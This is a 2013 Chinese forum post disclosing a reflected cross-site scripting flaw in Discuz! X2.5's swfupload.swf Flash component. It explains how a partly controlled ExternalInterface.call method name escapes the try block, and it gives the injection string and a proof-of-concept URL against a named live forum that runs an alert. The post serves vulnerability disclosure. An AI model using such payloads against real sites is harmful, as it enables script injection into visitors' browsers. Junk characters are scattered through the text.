找回密码
 立即注册
查看: 2774|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说4 a. {. ?3 S' ?/ J; H. F
2 }  l3 e1 Z) f4 o0 I  V
flash.external.ExternalInterface.call($methodName, $parameter)' s& {) V! l; H0 K! _% N/ q6 W; _
在浏览器中执行的是
7 P9 p# i8 r: g" }9 ?$ K3 ^/ z' S
* ]7 G* W9 W. z# M( Atry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
  D2 [( P; K" B6 u: s3 R对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
# N& v% ?2 Q; }
; r( ?7 a3 C7 p9 Jflash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 E3 H& }+ v! b3 \$methodName = a())}catch(e){alert(/xss/)}//
- \8 h4 h. h% ?1 U2 h2 I1 K结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
8 p8 b4 q! S+ v6 U+ U: {: a3 b+ I8 }9 a" J
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! n5 H# \. `( m+ c
: ?' X( s: P' P# A5 T
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! A% [5 l+ h! Q, l2 Z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 n7 _5 o/ w5 r' o+ Z# @

/ T! P$ z& e# S/ T
9 f. q  V5 ]+ Z2 x' S! E+ T& G0 \" ^
3 |2 q5 o( J; q4 U' I. \漏洞文件:upload\static\image\common\swfupload.swf  E8 H( r! ]' N" U, e7 Z9 x

' {' S" ~% x6 l$ b) P0 J. g0 y原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf; p( x; Y2 [( q, c5 g& `
5 I& A6 a- A& I  n0 m  m
" ^, x: e) N6 U2 ?8 s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
- |4 ~. r- N" \
. x7 U$ {3 B, i( p$ f4 `1 s2 O4 C. j! i) t# R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表